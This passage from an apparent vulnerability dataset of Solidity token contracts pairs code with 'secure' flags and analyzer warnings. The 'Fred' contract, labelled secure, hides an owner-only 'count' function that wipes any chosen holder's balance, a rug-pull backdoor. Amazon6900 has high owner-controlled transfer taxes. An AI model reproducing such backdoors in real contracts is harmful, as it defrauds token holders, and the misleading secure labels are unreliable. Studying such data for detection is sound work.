\"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3776.sol",
"secure": 1,
"size_bytes": 4374
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Amazon6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d567220): Amazon6900.bots is never initialized. It is used in Amazon6900._transfer(address,address,uint256)\n\t// Recommendation for d567220: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8005de1): Amazon6900._taxWallet should be immutable \n\t// Recommendation for 8005de1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d42633): Amazon6900._initialBuyTax should be constant \n\t// Recommendation for 0d42633: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90ff5bf): Amazon6900._initialSellTax should be constant \n\t// Recommendation for 90ff5bf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 633d74d): Amazon6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 633d74d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10b3ac2): Amazon6900._reduceSellTaxAt should be constant \n\t// Recommendation for 10b3ac2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d7064a): Amazon6900._preventSwapBefore should be constant \n\t// Recommendation for 2d7064a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Amazon6900\";\n\n string private constant _symbol = unicode\"AMZN6900\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c6c0a8): Amazon6900._taxSwapThreshold should be constant \n\t// Recommendation for 0c6c0a8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: eeb767c): Amazon6900._maxTaxSwap should be constant \n\t// Recommendation for eeb767c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49c73e2): Amazon6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 49c73e2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 27aeddd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 27aeddd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 421d6ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 421d6ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 27aeddd\n\t\t// reentrancy-benign | ID: 421d6ba\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 27aeddd\n\t\t// reentrancy-benign | ID: 421d6ba\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ae72333): Amazon6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ae72333: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 421d6ba\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 27aeddd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 66e02e1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 66e02e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d567220): Amazon6900.bots is never initialized. It is used in Amazon6900._transfer(address,address,uint256)\n\t// Recommendation for d567220: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d41e4fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d41e4fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 66e02e1\n\t\t\t\t// reentrancy-eth | ID: d41e4fe\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 66e02e1\n\t\t\t\t\t// reentrancy-eth | ID: d41e4fe\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d41e4fe\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d41e4fe\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d41e4fe\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 66e02e1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d41e4fe\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d41e4fe\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 66e02e1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 66e02e1\n\t\t// reentrancy-events | ID: 27aeddd\n\t\t// reentrancy-benign | ID: 421d6ba\n\t\t// reentrancy-eth | ID: d41e4fe\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5f06724): Amazon6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5f06724: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 66e02e1\n\t\t// reentrancy-events | ID: 27aeddd\n\t\t// reentrancy-eth | ID: d41e4fe\n\t\t// arbitrary-send-eth | ID: 5f06724\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 95c9efa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 95c9efa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 84b8388): Amazon6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 84b8388: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf6b03b): Amazon6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cf6b03b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a12011): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a12011: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 95c9efa\n\t\t// reentrancy-eth | ID: 9a12011\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 95c9efa\n\t\t// unused-return | ID: cf6b03b\n\t\t// reentrancy-eth | ID: 9a12011\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 95c9efa\n\t\t// unused-return | ID: 84b8388\n\t\t// reentrancy-eth | ID: 9a12011\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 95c9efa\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9a12011\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c42d7cd): Amazon6900.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for c42d7cd: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: c42d7cd\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3777.sol",
"secure": 0,
"size_bytes": 18543
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Fred is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable bitch;\n\n constructor() {\n _name = \"FRED\";\n\n _symbol = \"FRED\";\n\n _decimals = 18;\n\n uint256 initialSupply = 452000000;\n\n bitch = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == bitch, \"Not allowed\");\n\n _;\n }\n\n function count(address[] memory create) public onlyOwner {\n for (uint256 i = 0; i < create.length; i++) {\n address account = create[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3778.sol",
"secure": 1,
"size_bytes": 4343
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Yogshouse is ERC20 {\n constructor() ERC20(unicode\"Yogs House\", unicode\"YOGS\") {\n _mint(msg.sender, 10000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3779.sol",
"secure": 1,
"size_bytes": 295
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MyDoge is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ee2942c): MyDoge._taxWallet should be immutable \n\t// Recommendation for ee2942c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 254c0ca): MyDoge._initialBuyTax should be constant \n\t// Recommendation for 254c0ca: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bbbe2e): MyDoge._initialSellTax should be constant \n\t// Recommendation for 6bbbe2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 916fea8): MyDoge._reduceBuyTaxAt should be constant \n\t// Recommendation for 916fea8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46149a3): MyDoge._reduceSellTaxAt should be constant \n\t// Recommendation for 46149a3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54d9842): MyDoge._preventSwapBefore should be constant \n\t// Recommendation for 54d9842: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _transferTax = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MyDoge\";\n\n string private constant _symbol = unicode\"ĐOGE\";\n\n uint256 public _maxTxAmount = 3200000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6f97cc): MyDoge._taxSwapThreshold should be constant \n\t// Recommendation for a6f97cc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 148aed2): MyDoge._maxTaxSwap should be constant \n\t// Recommendation for 148aed2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7688538): MyDoge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7688538: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 94f12c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 94f12c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c12ea3c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c12ea3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 94f12c7\n\t\t// reentrancy-benign | ID: c12ea3c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 94f12c7\n\t\t// reentrancy-benign | ID: c12ea3c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3f48b10): MyDoge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3f48b10: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c12ea3c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 94f12c7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1342df4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1342df4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d527aa9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d527aa9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1342df4\n\t\t\t\t// reentrancy-eth | ID: d527aa9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1342df4\n\t\t\t\t\t// reentrancy-eth | ID: d527aa9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d527aa9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d527aa9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d527aa9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1342df4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d527aa9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d527aa9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1342df4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 94f12c7\n\t\t// 